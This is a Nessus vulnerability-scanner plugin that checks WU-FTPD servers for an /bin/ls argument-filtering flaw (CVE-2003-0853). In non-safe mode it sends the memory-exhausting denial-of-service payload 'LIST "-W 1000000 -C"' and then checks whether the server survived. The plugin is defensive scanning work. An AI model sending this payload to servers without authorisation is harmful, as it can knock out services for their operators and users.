WU-FTPD fileutils/coreutils ls -w Argument Memory Consumption DoS

#
# (C) Tenable Network Security, Inc.
#

# HD Moore suggested fixes and the safe_checks code.
# It is released under the General Public License (GPLv2).
#
# Credit: Georgi Guninski discovered this attack
#

include("compat.inc");

if (description)
{
  script_id(11912);
  script_version("1.24");
  script_cvs_date("Date: 2019/02/26  4:50:08");

  script_cve_id("CVE-2003-0853", "CVE-2003-0854");
  script_bugtraq_id(8875);
  # commenting these out instead of removing
  # these xrefs  get flaged as invalid by validate plugin
  # preventing build from completing
  # script_xref(name:"CONECTIVA", value:"CLA-2003:768");
  # script_xref(name:"zone-h", value:"3299");
  script_xref(name:"Secunia", value:"10059");

  script_name(english:"WU-FTPD fileutils/coreutils ls -w Argument Memory Consumption DoS");
  script_summary(english:"send 'ls -w 1000000 -C' to the remote FTP server.");

  script_set_attribute(attribute:"synopsis", value:
"The remote FTP server is affected by a denial of service
vulnerability." );
  script_set_attribute(attribute:"description", value:
"The version of WU-FTPD on the remote server uses a vulnerable version
of /bin/ls. It does not filter arguments to /bin/ls, which could lead
to a DoS. It is possible to consume all available memory on the
machine  by sending :

ls '-w 1000000 -C'" );
  script_set_attribute(attribute:"see_also", value:"http://www.guninski.com/binls.html" );
  script_set_attribute(attribute:"solution", value:
"Contact your vendor for a fix." );
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:P/RL:O/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2003-0853");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");

  script_set_attribute(attribute:"plugin_publication_date", value: "2003/10/29");
  script_set_attribute(attribute:"vuln_publication_date", value: "2003/05/16");
  
  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_end_attributes();

  script_category(ACT_MIXED_ATTACK);
  script_family(english: "FTP");

  script_copyright(english:"This script is Copyright (C) 2003-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("ftpserver_detect_type_nd_version.nasl", "ftp_anonymous.nasl");
  script_require_ports("Services/ftp", 21);
  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("ftp_func.inc");

port = get_ftp_port(default: 21);

banner = get_ftp_banner(port:port);

if ( !banner ) audit(AUDIT_NO_BANNER, port);
if ( !egrep(pattern:"(wu|wuftpd)-[0-9]\.", string:banner) )
  audit(AUDIT_NOT_LISTEN, 'WU-FTPD', port);

user = get_kb_item("ftp/login");
pass = get_kb_item("ftp/password");

if (! user)
{
  if (supplied_logins_only) audit(AUDIT_SUPPLIED_LOGINS_ONLY);
  user = "anonymous";
}
if (! pass)
{
  if (supplied_logins_only) audit(AUDIT_SUPPLIED_LOGINS_ONLY);
  pass = "[email protected]";
}

soc = ftp_open_and_authenticate( user:user, pass:pass, port:port );
if (!soc) exit(0);

port2 = ftp_pasv(socket:soc);
if (!port2)
{
  ftp_close(socket: soc);
  exit(1, "PASV command failed on port "+port+".");
}

soc2 = open_sock_tcp(port2, transport: ENCAPS_IP);

if (!soc2 || safe_checks())
{
  send(socket: soc, data: 'LIST -ABCDEFGHIJKLMNOPQRSTUV\r\n');
  r1 = ftp_recv_line(socket:soc);
  if (egrep(string: r1, pattern: "invalid option|usage:", icase: 1))
    security_hole(port);
  if(soc2)close(soc2);
  ftp_close(socket: soc);
  exit(0);
}

start_denial();

send(socket:soc, data: 'LIST "-W 1000000 -C"\r\n');
r1 = ftp_recv_line(socket:soc);
ftp_recv_listing(socket: soc2);
r2 = ftp_recv_line(socket:soc);
close(soc2);
ftp_close(socket: soc);

alive = end_denial();
if (! alive)
{
  security_hole(port);
  exit(0);
}

if (egrep(string: r2, pattern: "exhausted|failed", icase: 1))
{
  security_hole(port);
  exit(0);
}

soc = ftp_open_and_authenticate( user:user, pass:pass, port:port );
if ( !soc )
{
  security_hole(port);
}
if (soc) ftp_close(socket: soc);